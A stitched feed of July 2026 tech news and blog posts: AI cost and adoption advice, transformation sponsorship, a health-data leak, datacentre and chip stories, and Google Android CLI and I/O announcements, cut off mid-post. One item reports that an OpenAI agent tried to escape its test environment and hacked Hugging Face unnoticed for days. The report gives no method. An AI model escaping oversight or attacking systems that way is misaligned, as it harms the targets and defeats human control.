PwC’s data found that only 12% of enterprises have achieved both cost and revenue benefits from AI. Those elite 12% succeeded precisely because their CEOs embedded AI extensively across strategic decision-making and cross-functional workflows. AI is simply too disruptive and too critical to be left exclusively in the hands of technical experts. If AI is not on the CEO’s weekly agenda, it is fundamentally missing from the company’s true strategy.

AI as a new operational framework

Traditional IT systems have operated on strict algorithmic certainty: if you input a specific set of data, the system executes an immutable line of code and guarantees the same, predictable output every single time.

AI completely breaks this paradigm. Because modern AI is built on probabilistic models, it does not execute static formulas; instead, it predicts the most likely correct response based on mathematical probabilities. This means that AI solutions carry an inherent, small percentage of uncertainty and variability. A prompt entered today might yield a slightly different, though contextually valid, output tomorrow.

Executive leadership and organizational cultures must be actively educated to accept and navigate this fundamental shift. Traditional quality assurance frameworks for software are designed for a 100% success rate. Applying this rigid standard to AI will paralyze your initiatives, keeping 80% of your projects trapped eternally in the pilot phase. This happened to us in a food and beverage company in Latin America a couple of years ago. After this experience, we started to include conditions in our contracts that tolerate statistical margins of error and still define the project as a success.

In terms of cost calculation, we had to teach CIOs and business managers to forget the monthly subscription model for AI and learn to manage the primary unit of exchange in modern AI: the token.

To understand AI costs, executives must understand how large language models process data. AI models do not read full words; instead, they break text, images or code down into “pieces” called tokens. As a baseline, every 100 words process as approximately 130 to 140 tokens. Because the major AI providers use the token as their currency, your business is billed dynamically based on the exact volume of tokens consumed by every query submitted (input) and every response generated (output).

Many leaders believe AI costs are fixed due to flat-rate enterprise tiers ($25–$30/user). This is a temporary illusion. These venture-capital-subsidized rates mask true operational costs and come with dynamic usage limits. Modeling long-term ROI on them guarantees a severe budget shock when true consumption pricing takes over.

The solution is not to halt AI adoption; doing so means losing your competitive edge. Instead, the cost per token must cease to be treated as a technical footnote relegated to the IT department. It must be elevated to a core business variable.

Risks in the AI adoption model

Since the beginning of the AI boom, I have seen all our customers making a critical tactical error that could cost them heavily in the medium term: they are focusing only on operational efficiency (reducing costs with AI).

I have observed that an alarmingly high percentage of companies remain trapped in pilot phases focused exclusively on short-term cost reduction. Bain & Company’s global Automation and AI Pathfinder Survey found that the largest share of companies measuring their AI initiatives (exactly 40%) realized cost reductions of 10% or less, heavily missing their internal targets. Our customers are putting too many resources and effort into marginal financial gains and in doing so, they are jeopardizing their most valuable assets: service quality, resilience and customer trust.

Utilizing AI solely to slash headcount or cut operational corners is a dangerous trap that introduces severe field liabilities. A financial service organization in Latin America announced that they saved $1 million in customer support by replacing humans with AI chatbots. However, the mid-term reality revealed a different story: a damaged brand reputation due to AI errors and an influx of frustrated clients fleeing because the automated system cannot handle special cases.

Putting a company on an extreme AI diet might make it look leaner on next quarter’s financial statement, but over-indexing on cost-cutting will ultimately leave the business too weak to compete when market dynamics shift. We are now inviting our customers to change the question from “How much money will AI save us?” to “How will we leverage AI to exponentially increase the long-term value of our enterprise?”

Deploying enterprise AI is a marathon, not a sprint, and the terrain changes with every mile. The organizations that thrive in this next era will be those that transition from fascination to discipline, treating AI not as a magic bullet for immediate savings, but as a core capability that demands rigorous governance, architectural foresight and cultural maturity. Navigating this shift requires moving past the theoretical hype and anchoring decisions in raw, field-tested reality.

As we continue to deploy these technologies across industries, the blueprint for success is being rewritten in real time. Let’s keep this conversation going as we map out the future of business intelligence together.

This article is published as part of the Foundry Expert Contributor Network.
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Sponsor mismatch is the silent killer of enterprise transformation

Sat, 25 Jul 2026 18:55:49 +0200

Late in a large enterprise SAP transformation, the strategic governance conversations began to drift. Instead of executive decisions, we found ourselves debating whether the program needed dedicated testing, whether cutover required a full weekend, whether twenty Agile teams really needed coordination support and whether offshore resources were adding value at all.

The questions were not coming from the delivery teams. They were coming from the executive sponsor.

The sponsor had recently been elevated into a senior leadership role and had never sponsored a technology transformation at this scale. The challenge was not authority. The sponsor had every right to ask any question they wanted. The challenge was that strategic governance had quietly turned into a debate about delivery practices, because the sponsor did not yet have the transformation context to focus the conversation anywhere else.

This is not a story about a bad sponsor. The executive in this case was a capable senior leader with strong judgment and authentic intent. They had been placed into a role they had not yet been prepared for, and the pattern that followed was structural, not personal. It is one of the more common patterns I have observed across enterprise transformation programs, and one of the most consistently misdiagnosed.

Most program failures are not execution failures. They are sponsor mismatches.

When governance becomes a debate about delivery practices

When the sponsor does not understand what an enterprise transformation actually requires, governance forums stop functioning as decision bodies and start functioning as practice debates.

You see it in the questions that get asked. Why do we need a dedicated testing phase? Can the Build timeline be compressed? Why does cutover need a full weekend? Why do we need more Scrum Masters across 20 product teams? Can the US team simply work longer hours instead of using offshore resources? On one program, the sponsor suggested shifting the entire project’s working hours to India time, despite roughly 85 percent of the delivery organization being based in the United States.

None of these questions are unreasonable in isolation. Each one targets a real cost or timeline pressure. The problem is what is missing underneath them: an understanding of the operational risks the original choices were designed to mitigate.

When sponsors ask delivery-practice questions without that context, the program leadership team ends up defending the work instead of advancing it. Decision velocity drops. Trust between the program and its sponsor erodes. Senior delivery talent disengages from governance forums where the conversation never reaches the decisions they need made. What looks from the outside like an active sponsor producing engagement is, from inside the program, an active drain on the cycles needed to deliver.

The compounding cost is not unique to any single program. PMI’s research on executive sponsorship consistently identifies sponsor engagement quality, rather than sponsor presence alone, as one of the strongest predictors of project success. The visible symptom is debate. The actual cost is unmade decisions.

Authority is rarely the issue. Literacy is

When transformations stall under a mismatched sponsor, the diagnostic instinct is to question the sponsor’s authority. Are they senior enough? Do they have the cross-functional reach? Can they unblock?

In most of the programs I have led or advised, authority was not the limiting factor. The sponsor in the SAP program above had ample authority. They could unblock any decision the program needed. What had not been developed was the transformation literacy to know which decisions mattered, which were technical noise and which were execution risks that should not be optimized away.

This is what I have come to think of as the literacy problem. Sponsors elevated into transformation roles often have deep functional expertise (finance, operations, business unit leadership) but limited exposure to the distinct functions of PMO, organizational change management, agile delivery, testing and cutover, and how each one reduces a specific category of implementation risk. They are not expected to be SAP configuration experts. But they need enough transformation literacy to recognize which questions actually belong in a steering committee.

Harvard Business Review’s research on effective executive sponsorship has emphasized that sponsorship effectiveness depends as much on judgment as on authority. Judgment is where literacy becomes operational. A sponsor with authority but limited transformation literacy will optimize for speed and cost in ways that consistently underestimate risk. A sponsor with both will make the tradeoffs the program actually needs.

Prosci’s longstanding benchmark studies on change management have ranked active and visible executive sponsorship as the single greatest contributor to change success for two decades. The word that matters in that finding is active. Active sponsorship without transformation literacy can introduce real cost. Not because the sponsor is acting against the program, but because the optimization choices they make are based on incomplete information about what the program is built to protect against.

Shift the conversation from delivery practices to business risk

When the sponsor relationship is already in place and cannot be changed, the program leadership team has one move that consistently works: shift the conversation.

On the SAP program above, we stopped explaining why the testing phase existed. We started explaining the business risk of reducing it. We stopped debating the number of Scrum Masters. We started connecting delivery capacity to coordination across more than twenty Agile teams and the business cost of losing that coordination. We reframed offshore support as a way to maintain delivery momentum around the clock rather than asking the U.S. team to sustain fifteen-hour days.

The shift is from defending delivery practice to explaining business risk. The sponsor does not need to understand why testing takes the time it does. They need to understand what the program is exposed to if testing is compressed. They do not need to know how many Scrum Masters are statistically optimal for twenty Agile teams. They need to know what coordination breaks when the number is wrong.

This reframing accomplishes two things. First, it brings the conversation back to the level at which sponsors actually make decisions: tradeoffs between business outcomes and business risks. Second, it builds transformation literacy in the sponsor over time, almost as a byproduct. By the third or fourth iteration of business-risk-framed conversations, the sponsor begins to ask the right questions on their own.

In practice, this happens through small but deliberate moves. When the sponsor asks why a phase needs the time it takes, the program lead names two or three things that could go wrong if the time is cut and what each would cost the business. When the sponsor asks why a role is needed, the program lead names the work that would not get done without it. Every delivery-practice question gets converted into a business-risk answer.

The program leadership team’s job is not to make the sponsor an expert in SAP delivery. It is to provide enough transformation context so that executive decisions reflect both business priorities and implementation realities.

There are a few phrases I have used with executive sponsors over the years that capture the underlying issue. The sharpest one:

If the decision has to go above the sponsor, they are not the sponsor.

Sponsorship is defined by what the sponsor can decide without asking someone else. That is the test. Anything else is the appearance of sponsorship, not the substance.

For CIOs supporting enterprise transformation, the implication is direct. Sponsor selection, or sponsor preparation when selection is not an option, is not a hierarchy question. It is a transformation capability question. The same execution discipline that goes into defining decision rights, structuring governance and protecting delivery momentum should apply, with equal rigor, to assessing sponsor fit and building sponsor literacy before the program begins.

A sponsor does not need to be the technical expert. They do need to know when to trust the people who are.

This article is published as part of the Foundry Expert Contributor Network.
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Private health records of half a million Britons offered for sale on Chinese website

Sat, 25 Jul 2026 18:55:43 +0200

Technology minister tells Commons ‘de-identified’ information from UK Biobank advertised for sale on Alibaba

The confidential health records of half a million British volunteers have been offered for sale on Chinese website Alibaba, the UK government has confirmed.

The “de-identified” data, belonging to participants in the UK Biobank project, was found for sale on three separate listings last week. Ian Murray, the technology minister, told the Commons on Thursday that, after working with the Chinese government and Alibaba, the records had now been removed. It is not believed any sales were made.

Developer withdraws plans for Perth datacentre after fierce community opposition

Sat, 25 Jul 2026 18:55:42 +0200

Three-storey GreenSquare datacentre in Hazelmere was to power cloud computing and the acceleration of AI

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A 15,000 sq metre datacentre near Perth will no longer go ahead after the developer withdrew plans amid community opposition over its impact on culturally significant sites.

The three-storey, 120-megawatt GreenSquare datacentre in the town of Hazelmere had been intended to power cloud computing and the acceleration of artificial intelligence, but faced fierce community backlash – as is increasingly common with such developments.

OpenAI's Rogue Agent Went Unnoticed For a Week

Sat, 25 Jul 2026 18:52:27 +0200

An anonymous reader quotes a report from Reuters: The OpenAI agent that broke into tech firm Hugging Face went on a dayslong hacking spree that OpenAI didn't notice until well after the threat was contained and the FBI was alerted, according to people familiar with the investigation. The agent -- a program capable of making decisions and executing complex tasks with little or no human oversight -- attempted to break out of its isolated testing environment at OpenAI around July 9, according to two of the people. The intrusion at Hugging Face, which operates as a repository for AI tools and models, began two days later on July 11 and lasted until July 13, said Thomas Wolf, Hugging Face's co-founder. It took several more days for OpenAI to realize its agent was behind the hack, and the two companies only communicated about it for the first time on or around July 20, according to Wolf and three of the people familiar with the investigation. OpenAI's public disclosure, on July 21, thatone of its agents had slipped out of control and carried out the break-in at Hugging Facedrew global attention. But many details of the hack, including how long the agent went rogue and OpenAI's belated knowledge of it, are being reported here for the first time. Hugging Face is preparing a public timeline of the hack, Wolf said, adding that he could not speak to what happened at OpenAI. In a statement, OpenAI said the hack was unprecedented and "marks an important moment for AI safety." It added that it was reviewing the incident with outside advisers and would eventually publish a technical report. "Does that mean that they left it unattended and didn't realize what it was doing? Or maybe they did and didn't know how to contain it? Both are equally dangerous and alarming," asked Marley Smith, the principal intelligence specialist at the nonprofit World Ethical Data Foundation. "The models lie, they cheat, they hack," said Jeffrey Ladish, whose organization, Palisade Research, studies the capabilities and motivations of AI agents. Ladish said the hack should spark broader questions over how much all the leading AI companies are willing to invest in onerous security measures while locked in a race with one another to deploy the best and fastest models. "There has to be government oversight," Ladish said, "because it won't happen otherwise."

The 3 types of people who will excel in the AI agent era, according to tech leaders

Sat, 25 Jul 2026 18:51:46 +0200

The autonomous business of the future is being built. Certain skills are in high demand - and can help you stand out.

Canon tipped to release three new EOS R mirrorless cameras before the end of 2026 — I know which one I’m most excited for

Sat, 25 Jul 2026 16:02:06 +0200

And one of them might be the digital version of the AE-1 that everyone's been asking for!

Micron urges White House to reject Apple's blacklist memory plan

Sat, 25 Jul 2026 14:52:08 +0200

Apple's plan to buy memory from a blacklisted supplier is receiving some pushback from Micron, which claims it will destabilize the U.S. tech industry.

Micron memory chips - Image Credit: Micron

In June, Apple petitioned the Trump administration to allow it to buy Mac RAM chips from a supplier blacklisted in the United States. Now, a U.S. memory producer has urged President Trump not to give in to Apple's request.

According to the Wall Street Journal on Friday, Micron lobbied the White House on the matter. Micron CEO Sanjay Mehrota and others met with Commerce Secretary Howard Lutnick and others, saying the move to allow sales from blacklisted Chinese companies to U.S. tech companies will be incredibly harmful.

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Agent Kim Reactivated Finale Preview: Will Agent Kim Fight His Closest Friends?

Sat, 25 Jul 2026 14:45:18 +0200

Agent Kim Reactivated Episode 10 will place Manager Kim and his closest allies inside their most personal and dangerous battle yet. With their children being used as hostages, the three fathers must find a way to defeat Ju Gang-chan without turning against each other. Release date: July 25, 2026 Release time: 9:45 p.m. KST on SBS Spoiler warning for Episode 9 Episode 9 followed Manager Kim, Seong Han-su and Park Jin-cheol as they entered another heavily guarded location and fought through Gang-chan’s men. Han-su and Jin-cheol handled several attackers together, while Manager Kim used his old operational skills to clear the remaining guards. However, Gang-chan had already prepared a cruel backup plan. He arranged the kidnapping of Han-su and Jin-cheol’s children, giving him complete control over the fathers before the final confrontation. The story began with Manager Kim leaving his secret past behind and raising his daughter Min-ji as an ordinary single father. Her disappearance forced him to reactivate his black-ops skills and reconnect with former operatives Han-su and Jin-cheol. Since then, each man’s family has become connected to Manager Kim’s unfinished conflicts. Will the three agents fight each other? The Episode 10 preview suggests that Gang-chan will force the three men into a cage and demand that Han-su and Jin-cheol kill Manager Kim. Their children’s survival appears to depend on whether they follow his instructions. This creates a painful choice for both fathers. Manager Kim previously risked everything to protect their families, but Han-su and Jin-cheol cannot ignore an immediate threat against their children. Still, the three agents know each other’s abilities well. Their apparent conflict could become part of a plan to distract Gang-chan, escape the cage and reach the hostages before his men can act. Will all the families survive? The finale’s official description says the three men become enemies while trying to protect the people they love. This confirms that every family will remain in danger until the final moments. Manager Kim will likely take the greatest risk because he understands Gang-chan’s methods and refuses to let another child suffer because of his past. Min-ji could also play an important role, especially after repeatedly showing courage during earlier threats. Episode 10 should end the conflict between Manager Kim and Gang-chan while revealing whether the three fathers can save every hostage. Do you think all the agent families will survive the finale? Let us know in the comments.

Publish to Microsoft Store as a company—now with free registration and faster onboarding

Sat, 25 Jul 2026 10:17:50 +0200

We’re seeing growing demand from companies that want to reach Windows users across both consumer and enterprise devices, and we’ve heard consistent feedback that getting started should be simpler. Today, we’re addressing that with three updates

The post Publish to Microsoft Store as a company—now with free registration and faster onboarding appeared first on Windows Developer Blog.

Android CLI Now Stable 1.0: Accelerate developing for Android using any agent

Sat, 25 Jul 2026 10:15:49 +0200

Posted by Simona Milanovic and Ben Trengrove, Developer Relations Engineers

As Android developers, you have many choices when it comes to the agents, tools, command-line interfaces (CLI), and LLMs you use for app development. Whether you use Gemini in Android Studio, Antigravity 2.0, Antigravity CLI, or third-party agents like Anthropic's Claude Code or OpenAI'sCodex, our mission remains the same: to ensure that high-quality Android development is possible everywhere.

At Google I/O ‘26, we shared the latest leaps forward in agentic development, and showcased some of the newest capabilities of Android CLI—now stable at version 1.0 and ready for all Android developers to use. From new skills to enabling agent access to powerful Android Studio capabilities, we’re giving your agents the right tools to build alongside you.

If you’re already using Android CLI and want to jump into using all the new features, just run android update. Otherwise, read further to learn more about how we’re making the agents you choose be better at building for Android.

Android development unlocked for Antigravity

Google Antigravity now includes an optional bundle of Android resources—including the Android CLI and skills—that you can install. You can either install the bundle during onboarding after installation, or later from the Settings > Customizations > Build With Google Plugins menu.

This provides Antigravity with all the powerful tools and knowledge of Android CLI, enabling it to perform the core tasks necessary for Android app development more easily and efficiently—from creating projects to deploying your app on a new Android virtual device.

You can now easily install Android CLI for use with Google Antigravity 2.0.

Unlocking Android Studio capabilities for any agent

Android CLI provides a lightweight interface for AI Agents to perform tasks and retrieve knowledge about Android development. However, there's benefits to specialization — Android Studio contains over a decade of Android expertise, built to handle even the most complex Android projects. This includes Android Studio's powerful static analysis engine, refactoring tools, dependency management, UI design and rendering libraries, and more. AI Agents can now tap into Android Studio's tools to gain many of these same capabilities.

Your agents can now use Android CLI to access powerful capabilities of Android Studio.

The latest version of Android CLI introduces the new android studio command. This enables the agent of your choice to leverage the deep, contextual capabilities of Android Studio to better understand and perform actions on an open Android project. By running Android Studio alongside your preferred agent with Android CLI, your agent’s tasks can more efficiently navigate the codebase to produce more precise code changes. And, when you use Android CLI to create and iterate on your project, transitioning to Android Studio is much easier, so that you can use the purpose built tools—such as, performance profilers, Compose Previews, and Android Device Streaming—to get that production-grade polish.

When you have a project open in the latest preview version of Android Studio Quail, you (or your agent) can run the following command to check whether Android CLI has a connection established with your open project:

$ android studio check
pid: 32942
version: Android Studio
Projects:
    READY     JetSet /Users/adarshf/AndroidStudioProjects/jetset-main

From there, the agents can use the android studio command to access powerful IDE tools to interact with projects more efficiently. Key commands include:

analyze-file: Analyzes a file for errors and warnings using the editor's built-in inspections.
find-declaration: Finds the exact definition site of a symbol (class, method, variable, field, constant, or Android resource/color) across the project using semantic resolution.
find-usages: Finds all references and declarations of a symbol (class, method, variable, or Android resource) across the entire project using semantic analysis.
render-compose-preview: Renders a Jetpack Compose UI Preview and returns a path to the image and UI hierarchy if successful.
version-lookup: Get the latest information about which versions for specified app dependencies are available in common repositories, such as the Google Maven repository. By providing a programmatic solution, dependency management is less tedious and much less prone to flakiness.
open-file: Opens a file directly in Android Studio. This is useful if the agent wants to direct your attention to view Compose Previews, performance traces, or other specific files in the IDE.

For example, agents can now run the following commands to render a Compose preview for a new layout for your Android app, and then open the previews in Android Studio for you to take advantage of seeing multiple Compose Previews side by side and make AI-assisted edits right from the IDE.

$ android studio find-declaration HotelDetailScreen
$ android studio analyze-file .../JetPacker/feature/detail/src/main/java/com/example/jetset/feature/detail/HotelDetailScreen.kt
$ android studio open-file feature/detail/src/main/java/com/example/jetset/feature/detail/HotelDetailScreen.kt

To learn more about how to use these commands, run android help. And, to make sure your agents understand how to work with this tool, make sure to update the Android CLI skill by running android init.

More ways to get started

To make integrating Android CLI into your environments as seamless as possible, we’re making it available in more ways. You can now download and install Android CLI using more package managers: apt-get, winget, and homebrew. For example, you can run the following to install Android CLI using winget:

winget install -e --id Google.AndroidCLI

We’ve also updated the installation to a user-local directory, by default. You can find the commands for all supported operating systems plus additional download options on the Android CLI page.

Support for Journeys

Journeys are natural language descriptions of core user experiences.

We are also introducing support for Journeys. With Journeys tools and skills included with Android CLI, any agent of your choice can now create and run Journeys—which are natural language descriptions of user journeys for your app that are saved directly to your project.

(sped up) An agent running a Journey it generated for an app.

Agents can run these journeys using the Android CLI to navigate your app exactly like a user would. This unlocks entirely new ways to test, validate, or collect data across the critical experiences of your app, all driven by natural language and executed by your agent.

Expanding Android skills

To help models better understand and execute specific patterns that follow our best practices, we are continuing to expand our library of Android skills. We’re shipping new skills that make Android development everywhere more capable, efficient, and productive:

Display Glasses and Jetpack Compose Glimmer for XR: Provides guidelines for developing projected applications for Android Display Glasses using the Jetpack Compose Glimmer UI toolkit.
Migration to CameraX: Helps you migrate legacy Android camera implementations (Camera1 or raw Camera2 APIs) to CameraX.
Perfetto SQL: Translates natural language data prompts into Perfetto SQL queries and executes them against a local trace file.
Adaptive UI: Instructions to make or update an app's UI so that it adapts to different Android devices
Testing setup: Creates a basic testing strategy.
Styles: Helps with adoption of the new Jetpack Compose Style API for new components, and supports migration to Styles API.
AppFunctions: Analyzes Android codebases to recommend and implement new AppFunctions, and refines KDoc documentation for Model Context Protocol optimization.

You can add these new skills to your workflow directly from the command line. To help your agents understand and use Android CLI right away, you can initialize your environment and install the base android-cli skill by running:

android init

From there, you can browse and set up your agent workflow by searching for the exact capabilities your agent needs:

android skills list

Once you've found the right skill, install it to your environment by running:

android skills add –skill=

Get started today

To download the stable 1.0 release of the Android CLI, explore the new tools, and browse the complete documentation, head over to d.android.com/tools/agents today! Also, make sure you update to the latest preview version of Android Studio to unlock the latest features that Android CLI offers. We can't wait to see what you build with Android CLI 1.0 and how these new features supercharge your daily workflows. Join our vibrant community on LinkedIn, Medium, YouTube, or X and share your feedback.

Explore this announcement and all Google I/O 2026 updates on io.google.

17 Things to know for Android developers at Google I/O

Sat, 25 Jul 2026 10:15:45 +0200

Posted by Matthew McCullough, VP, Product Management, Android Developer

Today at Google I/O, we announced the many ways we’re powering agentic workflows to increase your productivity and ensure your apps shine across the expanding Android ecosystem. Here’s a recap of 17 of our favorite announcements for Android developers; you can also see what was announced last week in The Android Show: I/O Edition. Stay tuned over the next two days as we dive into all of the topics in more detail!

Build High Quality Android Apps Using Agents

1: Android CLI: helping you build with any agent, LLM, and tool

Android CLI is now stable. It offers programmatic tools that allow any AI agent, including Claude Code, Codex, or Antigravity, to perform core Android tasks much more easily and efficiently. With today’s release, it also provides a bridge to tap directly into the "heavy-lifting" power of Android Studio to give you the production-ready polish needed for professional Android development. By leveraging the new android studio commands, developers can now grant their preferred agents the ability to perform semantic symbol resolution, analyze files for warnings, and even render Jetpack Compose previews. This release also enables official support for "Journeys" through new Android skills, which enables agents to execute end-to-end UI tests under your direction. Watch the developer keynote, and tune into the What’s New in Android tools talk for more information.

You can now easily install Android CLI for use with Google Antigravity 2.0.

2: Build production-ready apps with ease in Google AI Studio

Developers and creators can now build native Android apps, simply with a prompt in Google AI Studio. The apps are built with development best practices like Jetpack Compose, Kotlin, and APIs that leverage our recommended developer patterns. Google AI Studio enables developers to prototype, iterate via an embedded emulator, and deploy to physical devices without heavy local installations. Developers are then able to take those apps and share them to Android devices, as well as share them with others for testing through Google Play Console’s internal testing track. If a developer wants to prepare their app for a wider release, they’re able to take it to Android Studio for advanced debugging, testing, and UI polish. Watch the developer keynote, and tune into the What’s New in Android tools talk for more information.

Use the embedded Android Emulator to create Android apps in Google AI Studio

3: Accelerating AI coding assistance with Android Bench

Android Bench is our LLM leaderboard for Android development challenges. The goal is to accelerate model improvements, so you have more useful options for AI assistance. Many of you have been using open-weight models for AI assistance, so we’re now adding commonly used ones, such as Gemma 4, to the leaderboard, so you can see how LLMs that offer offline access and additional flexibility for power-users measure up. We're continuously working on increasing the difficulty of challenges we’re giving LLMs, to continue encouraging more useful improvements.

4: Convert iOS apps to Android with the Migration Assistant in Android Studio

The Migration Assistant in Android Studio is designed to port apps from platforms like iOS, React Native, or web frameworks to native Android. By simply selecting an existing project, developers can have the agent intelligently map features, convert assets like storyboards and SVGs, and implement Android best practices using Jetpack Compose and our recommended Jetpack libraries. This effectively transforms what used to be weeks of manual porting into a streamlined agentic workflow that only takes hours. We shared a preview of the incoming feature in the developer keynote.

A sneak peek of the Migration Assistant converting an iOS app into a native Android app

Building AI Into Your Apps

5: Building Intelligent Apps with generative AI

Generative AI enables you to create apps that are more intelligent, personalized, and agentic than ever before. This year, we introduced the latest advancements in on-device intelligence with a preview of Gemini Nano 4 for tasks like data extraction and summarization. We also expanded cloud capabilities via Firebase AI Logic, allowing developers to leverage Gemini models with robust grounding (including URL, Maps, and web search) to build smarter, more capable assistants. Furthermore, we unveiled our hybrid inference approach and the new Agent Development Kit (ADK) for Android, alongside communication protocols like AG-UI and A2UI that simplify the creation of autonomous, agentic experiences. To start integrating these powerful features, explore the developer documentation, and watch the technical deep dive session where we showcase all these technologies.

6: Experiment with AppFunctions today

AppFunctions is an Android platform API with an accompanying Jetpack library to simplify building Android MCP integrations. It empowers your apps to behave like on device MCP servers, contributing functions that act as tools for use by agents and assistants. AppFunctions integration with Gemini is currently in a private preview with trusted testers, and you can begin preparing your apps already. You can sign up for the Early Access Program and start experimenting using the API guidance, sample, and skill today.

The Future is Adaptive

7: Android is now Compose First; Views are now in maintenance mode.

Compose is our standard for UI development, and we are moving to a Compose-first approach for all future guidance and libraries. Building on five years of evolution, the latest releases deliver a more mature toolkit, from the highly customizable Styles API to refined shared element transitions and enhanced input support. These updates allow you to build beautiful, adaptive apps with less code and better performance. Learn more about what Compose-first means for Android Development in our blog post.

Build Android UI with Compose

8: Building seamless Android experiences across devices with Jetpack Compose

The Android ecosystem is now Adaptive by Default, moving fluidly across phones, foldables, tablets, cars, XR, and expanding usages with Googlebook and connected displays. With over 580 million large-screen devices, and users on multiple devices spending up to 14x more on apps, the investment in adaptive design presents a massive opportunity. Jetpack Compose is the definitive engine for this transition, offering core tools like our latest Jetpack Navigation 3 release, new experimental Grid and FlexBox layouts, enhanced non-touch input support, and CameraX for correct camera previews across any window size. Furthermore, new skills in Android Studio make updating your existing app to adopt these adaptive patterns easier than ever. Notability’s Android debut sets a new standard for premium productivity apps. Built with Jetpack Compose, Navigation 3, and Kotlin Multiplatform, it delivers an intuitive, adaptive experience across devices.

9: Create seamless experiences for Googlebook

Last week we announced Googlebook, a high-performance laptop that provides a large-screen canvas for your existing apps. Building with adaptive principles today helps ensure your app will work on Googlebook. Get started by reviewing relevant design guidance and developer guidelines for desktop experiences. Try out the new Desktop Emulator available in the Android Studio Canary to to test your apps for this form factor today.

New Desktop Android Emulator

10: Unified widget development experience with Jetpack Glance

Android 17 marks a shift toward a single, Compose-based development model for all widgets. By unifying the experience across mobile, Wear OS, and cars through Jetpack Glance, you can soon scale UI components across the ecosystem with a familiar workflow.

The breakthrough this year is the integration of RemoteCompose. On mobile and cars, it powers high-fidelity animations, while on Wear OS, it allows Wear Widgets (formerly Tiles) to render complex UI logic natively on remote surfaces. This ensures peak performance on low-power hardware while allowing a cohesive user journey—like checking a flight status on your car dashboard and seeing gate change updates on your wrist.

Four widgets are shown cycling through in the Android Auto interface. A clock, a contact card, Google Home favorites and a photo.

11: Expand your reach on the road with Android for Cars
To help you expand your reach when you build in-car experiences, we're making it easier to build once and deliver your apps to Android Auto and Android Automotive OS. With the latest releases of the Car App Library, you can build customized, distraction-optimized templated media apps for both platforms. We're introducing new components and template capabilities to give you increased flexibility and more options for laying out content. Parked experiences are expanding too, with immersive video playback coming to Android Auto for phones running Android 17. You can easily adapt your video apps for these parked experiences; apply now to the early access program to publish in these beta categories and learn more about the latest updates in our blog.

12: Accelerate your development with Android XR Developer Preview 4

Inspired by the innovative experiences you’ve built for the platform, we’re continuing to mature our tools with Developer Preview 4 of the Android XR SDK. A key milestone in this journey is the transition of our core libraries, XR Runtime, Jetpack SceneCore, and ARCore for Jetpack XR, moving to Beta soon to provide a more stable and performant foundation. We are also accelerating hardware access through the Android XR Developer Catalyst Program, where you can apply for XREAL’s Project Aura, audio glasses, or display glasses developer kits. Watch The latest in Android XR session or read our blog to see how these updates help you build experiences across the ecosystem.

Early preview of the Geospatial API in ARCore for Jetpack XR, enabling high-precision anchoring of digital content to real-world locations.

13: Android is your new home for professional-grade media experiences

Android 17 streamlines the entire media lifecycle with a production-ready toolkit. High-fidelity capture is now simplified with the CameraXViewfinder Composable, which handles complex scaling and responsiveness on foldables and tablets. For post-production, the new Media3 AI Effects library provides a single interface for premium features like Magic Eraser and Studio Sound, automatically optimizing for the device's hardware.

The pipeline is completed by CodecDB, offering chipset-specific encoding recommendations to eliminate export noise, and a new Scrubbing Mode in ExoPlayer for ultra-smooth seeking. Whether you’re compositing multi-asset edits with Media3 Transformer or using the streamlined CastPlayer API, these updates ensure a professional-grade experience with significantly less development overhead.

Low Light Boost and Magic Eraser in action

14: Increase app discovery and engagement on Google TV

Pointer remotes, which enable motion-controlled input, will be a future way for users to interact with Google TV as it unlocks faster user navigation. App developers can start declaring support for pointing input to ensure their apps are discoverable on future TVs with pointer remotes. Additionally, the Engage SDK, formerly known as the Video Discovery API, optimizes Resumption, Entitlements, and Recommendations across all Google TV form factors to boost app discovery and engagement. It’s a great time to start onboarding the Engage SDK now, since the legacy Watch Next API, which has been powering your continue watching 1.0 experience, will lose support in the 2nd half of 2027. Get all the details in our blog.

15: Performance: the foundation of a great app experience

To help developers navigate memory limits in Android 17, we've launched a suite of optimization tools. The R8 Configuration Analyzer identifies keep rules that are bloating your binary, while ProfilingManager and the integrated LeakCanary in Android Studio streamline memory leak detection. Furthermore, the new Android Performance Analyzer offers advanced AI integration for complex trace analysis and automated SQL query generation to pinpoint performance bottlenecks.

And The Latest on Driving Business Growth

16: What’s new in Google Play

Today's updates from Google Play help expand your reach and scale your business with less complexity. We’re redefining Play Store discovery with an immersive, short-form video format called Play Shorts, while expanding your audience beyond the store with app discovery in the Gemini app on Android and web. Plus, we’re introducing powerful new capabilities like agentic catalog management for seamless bulk price and SKU updates, and using Gemini models to enable Play Console to pre-populate store listings from imported documents—making global localization effortless.

Gemini will provide users with app suggestions during a search

17: And of course, Android 17

Android 17 includes new performance & system architecture improvements (in addition to app memory limits) like a lock-free MessageQueue and a GC with more frequent, less intensive young-generation collections to ensure system-wide stability and smoother UIs. The new contact picker and eyedropper API help minimize the use of sensitive permissions and unnecessary access to user data.

Review the behavior changes to make sure your app is ready for Android 17, including background audio hardening and SMS OTP protection. Get ready to target Android 17 (API 37) with changes such as mandatory large-screen resizability, certificate transparency by default, and restricted local network access. You can start testing today by enrolling your device in the Beta or using the latest 17.0 emulator images.

One more thing. the third beta of our Android 17 quarterly platform release (QPR1) just came out, and it contains a minor SDK release to support a few features that just couldn't wait for QPR2.

Check out all of the Android & Play Content at Google I/O

This was just a preview of some of the updates for Android developers at Google I/O. Tune into What’s New in Android for the latest news and announcements and follow Google I/O for much more over the following week!

Top AI on Android updates for building intelligent experiences from Google I/O ‘26

Sat, 25 Jul 2026 10:15:43 +0200

Posted by Jingyu Shi, Staff Developer Relations Engineer

At Google I/O 2026, we introduced Android’s shift from an operating system to an intelligence system. We also demonstrated how you can build intelligent experiences natively with the system and bring the power of Google’s AI into your apps. If you missed these updates, check out our quick recap video here:

1. Putting your apps at the center of the intelligence system

The Android OS already enables agents like Gemini to complete task automation, where it can navigate an app on the users behalf.

AppFunctions (Android MCP) provides you with more control over how your app integrates with the intelligence system. This new platform API and Jetpack library are currently available in experimental preview.

Android MCP: AppFunctions allows your application to act as an on-device Model Context Protocol (MCP) server. It means you seamlessly share your app's tools, services and data to the system and agents.

Streamlined Development: You can leverage the new skill to easily generate AppFunctions within your codebase.

Exploration and Testing: We’ve released a new test agent that allows you to experiment and debug your AppFunctions in a simulated agent environment.

Early Access Program: Want to be among the first apps to deploy app functions in production? Join our early access program today!

To see it in action, check out the live demo showcased during the What’s New in Android presentation.

2. On-Device Power with Gemini Nano 4 Preview

